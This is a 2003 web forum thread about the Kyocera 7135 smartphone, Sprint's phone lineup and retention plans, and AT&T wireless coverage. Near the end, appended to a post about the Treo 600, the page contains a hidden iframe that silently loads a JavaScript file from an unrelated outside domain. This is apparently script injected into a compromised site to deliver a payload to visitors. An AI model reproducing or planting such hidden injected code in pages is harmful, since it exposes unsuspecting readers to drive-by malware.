There are now about 15-16 people here at work who have 7135s. Most are tied to Verizon, so they would have gotten the 7135 over the i500 even if the i500 was ever going to be available. Other than the oft-reported crashes, most like it.
I really dislike the browser it comes with, and the phone interface (i.e., no touchscreen).
Originally posted by jlv
I really dislike the browser it comes with, and the phone interface (i.e., no touchscreen).
While true that the touchscreen does not function when you are in the phone app, I'm sure you know that you can simply hit the home icon or any of the Palm hardware buttons and you will be instantly transferred to the Palm side where you will have a fully functional touch screen. Furthermore, I do not understand why everyone wants to use the touchsccreen when in the phone app. If you did, you would have to use a stylus thereby using two hands. Since there are only like 5 or 6 menu options in the phone menu app, you can easily use the rocker to naviagate the menu thereby only using a single hand, definitely quicker than using a stylus.
Marty: I just like write notes, numbers and addresses while I'm using my I330 as a speakerphone. That's the way I use the phone when I have two hands. I became very comfortable with this when I used my Kyocera 6035. I don't care much for a phone that won't do this. It would be nice to have expansion, a MP3 Player but I guess I'll have to wait for another phone with these features. It's comming! Sprint is comming out with some new phones soon.
Last edited by ronboykin : 06-19-2003 at 04:54 AM.
Originally posted by ronboykin I just like write notes, numbers and addresses while I'm using my I330 as a speakerphone.
Maybe you didn't understand Marty's post - you CAN do this on the 7135!!!!!! I do it on mine ALL THE TIME!
First, you place your call and make sure the speakerphone is on. Second, during the phone call, you hit one of the Palm buttons (or the phone or home icon on the grafitti area) and all the Palm applications are available. I open up the Message application (or address book, or QuickOffice, or whatever) and write down the information - yes, DURING the conversation with the other person. When on the Palm side during a phone call, you CAN use the touchscreen just like you normally would.
Thank you for that post. I was not sure if you could use the 7135 like that. This is the way its suppose to work. I would consider buying the 7135 if it comes to Sprint PCS, but I don't think Sprint will pick it up at this point. I think I read a statement, by a Sprint tech, that Sprint will not carry the 7135 because it's too bulky. Many a Sprint customers are frustrated over the wait of purchasing this phone on the Sprint network. I think many simply gave up waiting. I think the I700 is going capture a few of those Sprint customers. It seems a though Microsoft is trying get into the act of developing Windows OS for cell phones and have struck a deal with Samsung. Even though I have a I330, I'm don't particularly like Samsung as a company. Kyocera, on the other hand, produced one of the best smartphones (6035). I still have that phone in perfect condition. Aside from not being 3G and color, it's a one of my best phones. I like it better than my I330 and if I had the data plan with my Kyocera t
Last edited by ronboykin : 06-30-2003 at 07:56 PM.
Thank you for that post. I was not sure if you could use the 7135 like that. This is the way its suppose to work. I would consider buying the 7135 if it comes to Sprint PCS, but I don't think Sprint will pick it up at this point. I think I read a statement, by a Sprint tech, that Sprint will not carry the 7135 because it's too bulky.
Sorry but that is just complete nonsense. They are carrying the monster Hitachi G1000, which is a billion times longer/wider/thicker than the 7135. However, Sprint's official stance is that the 7135 is not compatible with their Vision network. That again is total BS. The 7135 works fine with their Vision network, Sprint is just in bed with Samsung and thus will not carry a Kyocera phone that is in direct competition with a Samsung phone.
Theres a trick to getting what you want on the Sprint network. I've been a good customer for a few years. My total plan is 4000(1000 anytime minutes + 3000 nightime/weekend minutes ) + unlimited PCS to PCS calling for $50 not including tax. Add another $10 for vision (3G internet, first three months free). Comes out to $68 dollars. I first started, over a year ago, with 450 anytime minutes and 2500 nightime/weekend minutes for $49.99 + another $5 for wireless web + $5 for voice command. I paid almost the same. I sometimes went over my minutes because I used my wireless web quite a bit (came out of my minutes). They even cut my phone off a few times. When my contract was up after a year I called them to quit my service. They wouldn't let me. They connected me to the cancellation dept. or the retention center and offered me more anythime minutes. They gave me 300 more anytime minutes. I said ok.
A few months later without a new contract, I called again to quit. This time I had the Cingular wireless plan brochure in front of me. They gave me the "preferred customer treatment" and gave me
my current plan without the vision for one penny more ($50).
I have the highest Sprint plan known to man. I'm a happy man that never uses up my minutes and internet access is painless. Sprint is not going to tell you about the cancellation dept unless they really think you're going to quit. They may not treat customers like this now though and I know new customers don't get a deal like mine. Prices have increased since I got my plan. You have to be a dedicated customer. You have to pay your bill on time. You can't have any points against you. They know that I'm a di-hard Sprint customer. I have about 5 sprint phones. 3 of which I probably will never use again. They want reliable customers!!
Sincerely,
Ronald Boykin
Just about anyone (except new customers) can get a Sprint retention plan, you just have to know what to say. I had been a Sprint customer for 7 months, found out about the retention plans, threatend to cancel (had no intentions of doing so), and was transferred to the retention department. They offered me for $50/month: 1000 anytime + 300 bonus anytime and 3000 N/W. I know they have plans that are both higher and lower in terms of minutes so they probably have one to match almost everyone's needs.
Originally posted by Marty Just about anyone (except new customers) can get a Sprint retention plan, you just have to know what to say. I had been a Sprint customer for 7 months, found out about the retention plans, threatend to cancel (had no intentions of doing so), and was transferred to the retention department. They offered me for $50/month: 1000 anytime + 300 bonus anytime and 3000 N/W. I know they have plans that are both higher and lower in terms of minutes so they probably have one to match almost everyone's needs.
Yep, that is a fact. I still have one phone with Sprint with the plan you referred to for $50 (well, it's 1200 anytime, 3000 N&W)... along with first incoming minute free and N&W starting at 8PM I would still have my primary phone with them if they carried the 7135 and I could get reception in my office at work.
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You're right Marty. Sprint seems to love Samsung. They'll put out a Samsung phone at all costs. Even if it doesn't work right! They bombed out on the old Samsung Uproar phone.
You guys with the new Sprint plans did good!! That's the hang of it. Sprint needs to give us what we want. After all, we are dedicated customers, right? Now don't be late on those payments!
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I don't know how everyone one these forums uses Sprint. While I've never used it, I have heard nightmare stories about customer service, coverage, etc. I currently use AT+T Wireless and think it's pretty good (second to Verizon and closing fast). The service is good and coverage is pretty good. While Sprint may have good commercials, its the coverage that is most important.
I've heard that the 7135 can be on the 3G network. Does anybody know if the i500 or the CDMA version of the HS 600 can support it?
Originally posted by jakilw I don't know how everyone one these forums uses Sprint. While I've never used it, I have heard nightmare stories about customer service, coverage, etc. I currently use AT+T Wireless and think it's pretty good (second to Verizon and closing fast). The service is good and coverage is pretty good. While Sprint may have good commercials, its the coverage that is most important.
I've heard that the 7135 can be on the 3G network. Does anybody know if the i500 or the CDMA version of the HS 600 can support it?
Which ATT network are you on? The GSM or TDMA one? The GSM network has significantly less coverage than Sprint's CDMA network, doesn't even come close. I've used their TDMA network and that seemed comparable in coverage to Sprint's network, didn't notice much difference in coverage when I made the switch. Verizon's voice network though beats them both by far though in terms of voice coverage, not even a contest.
Until you've actually tried Sprint for yourself, I would reserve judgement on them. Ya, their CS is not known to be great. But their data network and voice quality (at least in my experience) is the best for me. ATT has a long ways to go to catch up to Sprint and Verizon, their GSM voice network doesn't even come close in coverage area and neither does the speed and coverage of their GPRS data network when compared to that of Sprint's Vision and Verizon's Express Network data networks.
Yes, the 7135 is capable of functioning on Verizon's 3G network (as well as Sprint's). However, Sprint has chosen not to offer the 7135 and thus without their support, the 7135 will not access Sprint's 3G network (although, again, with the proper support, it is definitely possible). The I500 and Treo 600 are both capable of working on Sprint's Vision network. It is unknown if Verizon will carry these devices but both should be comptaible with Verizon.
I am actually on both the GSM and TDMA AT+T Wireless networks. I have a Siemens S46 phone which has both TDMA and GSM modes. I find that GSM coverage is less than the TDMA is, but the GSM when it works has better reception.
You have a point about Sprint. I have not tried their service yet. Sometime I might do it in the future.
I spoke with an AT+T rep today and the future is to eventually change to a 3G network. It seems like a lot of change to go from TDMA then GSM then 3G.
Just an aside, a friend of mine got the 7135 and returned it. He said it didn't work well and the numbers when he pushed them we so delayed that he couldn't use it. I am still intrigued by the phone. Any word if Verizon will carry HS 600?(I know that Sprint has first dibs on it.
Now now now. Don't put Sprint down until you try it yourself! You can't always believe what you hear.
I must admit, at first, I wasn't sure about them but, in the long run, they have really come out on top in service and support for me. Some of the Sprint people are not up to par with Sprint's great technology so you have to work your way around those people to the ones that are more professional. Great voice coverage across the U.S. Excellent data capabilities.
Last edited by ronboykin : 07-01-2003 at 12:29 AM.
Originally posted by jakilw
I spoke with an AT+T rep today and the future is to eventually change to a 3G network. It seems like a lot of change to go from TDMA then GSM then 3G.
Just an aside, a friend of mine got the 7135 and returned it. He said it didn't work well and the numbers when he pushed them we so delayed that he couldn't use it. I am still intrigued by the phone. Any word if Verizon will carry HS 600?(I know that Sprint has first dibs on it.
True, ATT does has eventual plans to switch to a 3G network, WCDMA to be exact. However, being as they are not even remotely close to finishing building their GSM/GPRS network, the WCDMA network is likely quite a ways off.
As far as your friend goes, you should have told him to visit www.smartphonesource.com , which is the unofficial home of the 7135. If he had visited that site, he would have likely come across the fix for the delyaed dialing problem you described, which simply involves changing the key press sound from "tones" to "clicks" in the phone preferences menu.
Verizon actually has much access to the Treo 600 as Sprint does. Its just that Sprint has already decided to carry the Treo 600 and Verizon has not. I'd be willing to bet that if Verizon were to approach Handspring and say "let's work together, we want to carry the Treo 600," Handspring would work with them just as much as they currently are with Sprint. Unlike the Treo 300, the Treo 600 is not a Sprint exclusive.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
I would still have my primary phone with them if they carried the 7135 and I could get reception in my office at work.
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